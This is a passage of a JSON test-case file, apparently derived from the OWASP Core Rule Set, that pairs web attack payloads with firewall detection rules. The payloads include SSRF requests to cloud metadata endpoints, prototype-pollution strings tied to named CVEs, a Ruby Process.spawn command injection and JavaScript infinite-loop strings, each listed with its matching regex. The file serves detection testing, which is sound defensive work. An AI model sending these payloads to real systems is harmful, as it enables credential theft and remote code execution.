"part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "ssrf.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934110", "test_description": "SSRF - check packetcloud url" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http%3A%2F%2F169.254.169.254%2Fopenstack" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "ssrf.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934110", "test_description": "SSRF - check openstack url" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http%3A%2F%2F192.0.0.192%2Flatest%2Fuser-data%2F" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "ssrf.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934110", "test_description": "SSRF - check oracle cloud url" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=169.254.169.254%2Flatest%2Fuser-data" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "ssrf.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934110", "test_description": "SSRF - negative test aws" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http%3A%2F%2F169.254.169.254%2Flatest" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "ssrf.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934110", "test_description": "SSRF - negative test aws" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http%3A%2F%2Fmetadata.google.internal" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "ssrf.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934110", "test_description": "SSRF - negative test gcp" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=proto" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:__proto__|constructor\\s*(?:\\.|\\]?\\[)\\s*prototype)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934130", "test_description": "negative test case" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"text\":\"a\",\"title\":{\"__proto__\":{\"where\":{\"name\":\"sqlinjection\",\"where\":null}}}}\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:__proto__|constructor\\s*(?:\\.|\\]?\\[)\\s*prototype)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934130", "test_description": "positive test case with JSON POST" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "__proto__[test]=test" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:__proto__|constructor\\s*(?:\\.|\\]?\\[)\\s*prototype)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934130", "test_description": "positive test case, CVE-2021-20083" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "__proto__.test=test" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:__proto__|constructor\\s*(?:\\.|\\]?\\[)\\s*prototype)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934130", "test_description": "positive test case, CVE-2021-20084, 1/2" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "constructor.prototype.test=test" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:__proto__|constructor\\s*(?:\\.|\\]?\\[)\\s*prototype)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934130", "test_description": "positive test case, CVE-2021-20084, 2/2" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "constructor.prototype.%20test=test" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:__proto__|constructor\\s*(?:\\.|\\]?\\[)\\s*prototype)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934130", "test_description": "positive test case with space evasion, CVE-2021-20084, 2/2" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "__proto__[context]=" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:__proto__|constructor\\s*(?:\\.|\\]?\\[)\\s*prototype)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934130", "test_description": "positive test case with GET parameter, jQuery $.get" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "__proto__%5Btest%5D%3D%7B%22json%22%3A%22value%22%7D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:__proto__|constructor\\s*(?:\\.|\\]?\\[)\\s*prototype)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934130", "test_description": "positive test case with GET parameter, V4Fire Core Library" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "constructor%5Bprototype%5D%5Btest%5D%3Dtest" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:__proto__|constructor\\s*(?:\\.|\\]?\\[)\\s*prototype)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934130", "test_description": "positive test case with GET parameter, analytics-utils < 1.0.3" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "__proto__[jquery]=x" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:__proto__|constructor\\s*(?:\\.|\\]?\\[)\\s*prototype)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934130", "test_description": "positive test case with GET parameter, jQuery $.get" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "__proto__%5Bv-bind%3Aclass%5D%3D%27%27.constructor.constructor%28%27alert%281%29%27%29%28%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:__proto__|constructor\\s*(?:\\.|\\]?\\[)\\s*prototype)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934130", "test_description": "positive test case with GET parameter, Vue.js" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=x&a[constructor][prototype]=image&a[constructor][prototype][onerror]=a" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:__proto__|constructor\\s*(?:\\.|\\]?\\[)\\s*prototype)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934130", "test_description": "Detect example payload [constructor][prototype]" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=Process.spawn(%22id%22)" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "Process[\\s\\x0b]*\\.[\\s\\x0b]*spawn[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934150", "test_description": "Ruby injection test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "text=while%20(foo)%20is%20bar." } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "Normal text false positive test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(!false)" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while falsy with negations" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(!-0);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while falsy with negations" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(!%2B0);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while falsy with negations" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(!0);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while falsy with negations" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(!-0);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while falsy with negations" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(!\"\");" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while falsy with negations" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(!'');" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while falsy with negations" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(!``);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while falsy with negations" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(true);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while truthy" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(Infinity);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "while[\\s\\x0b]*\\([\\s\\x0b\\(]*(?:!+(?:false|null|undefined|NaN|[\\+\\-]?0|\\\"{2}|'{2}|`{2})|(?:!!)*(?:(?:t(?:rue|his)|[\\+\\-]?(?:Infinity|[1-9][0-9]*)|new [A-Za-z][0-9A-Z_a-z]*|window|String|(?:Boolea|Functio)n|Object|Array)\\b|\\{[^\\}]*\\}|\\[[^\\]]*\\]|\\\"[^\\\"]+\\\"|'[^']+'|`[^`]+`)).*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode", "replaceComments" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934160", "test_description": "while truthy" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "eval=while(-Infinity);" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": 